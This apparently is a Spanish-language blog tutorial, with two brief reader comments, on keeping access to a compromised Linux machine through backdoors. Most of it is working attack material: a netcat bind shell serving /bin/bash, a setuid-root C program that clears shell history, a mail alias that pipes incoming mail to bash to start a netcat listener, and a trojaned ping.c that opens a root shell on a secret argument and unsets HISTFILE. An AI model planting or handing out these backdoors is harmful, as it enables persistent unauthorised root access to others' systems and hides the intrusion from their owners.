Abriendo una puerta trasera: algunos métodos con más o menos dificultad
El método más simple para crear una puerta trasera es mediante la utilización de Netcat.
Netcat es una herramienta GNU la cual nos permite leer y escribir a través de conexiones de red utilizando los protocolos TCP o UDP.
Pues bien Netcat nos ofrece una opción “-e” la cual nos asocia un programa a la conexión que establecemos:
$ nc -l localhost -p 1234 -e /bin/bash |
Ésta es sin duda, la forma más simple que conozco para crear una puerta trasera. Solamente necesitaríamos establecer conexión mediante telnet a máquina comprometida al puerto 1234 y obtendríamos una shell.
Los 2 siguientes métodos que os voy a describir son un tanto anticuados, pero por eso no dejan de ser curiosos.
Para éste backdoor, emplearemos un poco de programación en C. Para ello, haremos uso de éste simple programa, os recuerdo que para que este código funcione deberéis ser usuario root.
#include <unistd.h> #include <stdlib.h> main (){ char *cad[2]; cad[0]="/bin/bash"; cad[1]=NULL; unsetenv("HISTSIZE"); //eliminamos el historial setuid(0); setgid(0); execve(cad[0], cad, NULL); return 0; } |
Compilamos el código:
$ gcc back.c –o back
Una vez compilado, deberemos activar el bit de setuid del fichero resultante de la compilación de este modo:
$ chmod +s back
Así, si entramos al sistema como un usuario normal, nada más tendremos que ejecutar el ./back para obtener privilegios de root.
En éste método haremos uso del fichero /etc/aliases o /etc/mail/aliases en el cual se encuentran todas las redirecciones a las cuentas de correo creadas en el sistema, el fichero tiene esta estructura:
usenet: news
ftpadm: ftp
ftpadmin: ftp
ftp-adm: ftp
ftp-admin: ftp
hostmaster: root
mail: postmaster
postman: postmaster
post_office: postmaster
Como se puede ver, se redirigen los mails que llegan a las cuentas de la izquierda a las de la derecha. Siguiendo este formato, es posible redirigir también un mensaje a una instrucción de shell:
post_office: “|/bin/bash”
También podríamos redirigir el correo a cualquier otro comando. Ahora, solamente tenemos que enviar un correo especialmente formado para que al enviarlo a la cuenta post_office se procese línea a línea por la shell. El correo podría tener este aspecto:
#!/bin/bash nc –l –e /bin/bash –p 6969 > /dev/null 2>&1 & |
Los métodos mostrados hasta ahora podríamos decir que son un tanto antiguos y aunque hoy en dia están en desuso, sería difícil que actualmente funcionaran aunque nos podrían servir para salir del paso.
Creación de puertas traseras a partir de la modificación de utilidades comunes de administración:
Una forma válida para crear una puerta trasera más o menos discreta, es hacer uso de aplicaciones de uso corriente y que contengan por defecto el bit SUID activado.
Podemos utilizar por ejemplo la utilidad ping que se utiliza para testar conexiones mediante el protocolo ICMP.
Para poder modificar esta utilidad, necesitaremos obtener sus fuentes. Podemos encontrarlas en esta dirección http://mrtg.planetmirror.com/pub/ip-routing/iputils-current.tar.gz .
Una vez descargado y descomprimido, localizaremos el fichero correspondiente a ping (ping.c). Abrimos el fichero y nos centraremos en la función main:
… main(int argc, char **argv) { struct hostent *hp; int ch, hold, packlen; int socket_errno; u_char *packet; char *target, hnamebuf[MAXHOSTNAMELEN]; char rspace[3 + 4 * NROUTES + 1]; /* record route space */ icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); socket_errno = errno; uid = getuid(); setuid(uid); source.sin_family = AF_INET; preload = 1; … |
Como vemos, las lineas:
uid = getuid(); setuid(uid); |
Provocan que se pierdan los privilegios de root y se asignen los del usuario actual al programa.
if (strcmp(“skarvin”, argv[1])==0){ char *cad[2]; cad[0]="/bin/bash"; cad[1]=NULL; setuid(0); setgid(0); unsetenv(“HISTFILE”); execve(cad[0], cad, NULL); } |
Por lo que el código principal de la main en ping.c quedará de esta forma:
… main(int argc, char **argv) { if (strcmp(“skarvin”, argv[1])==0){ char *cad[2]; cad[0]="/bin/bash"; cad[1]=NULL; setuid(0); setgid(0); unsetenv(“HISTFILE”); execve(cad[0], cad, NULL); } struct hostent *hp; int ch, hold, packlen; int socket_errno; u_char *packet; char *target, hnamebuf[MAXHOSTNAMELEN]; char rspace[3 + 4 * NROUTES + 1]; /* record route space */ icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); socket_errno = errno; uid = getuid(); setuid(uid); source.sin_family = AF_INET; preload = 1; … |
2 comentarios:
Muy interesante tu site!!
NiCe One :-)
Publicar un comentario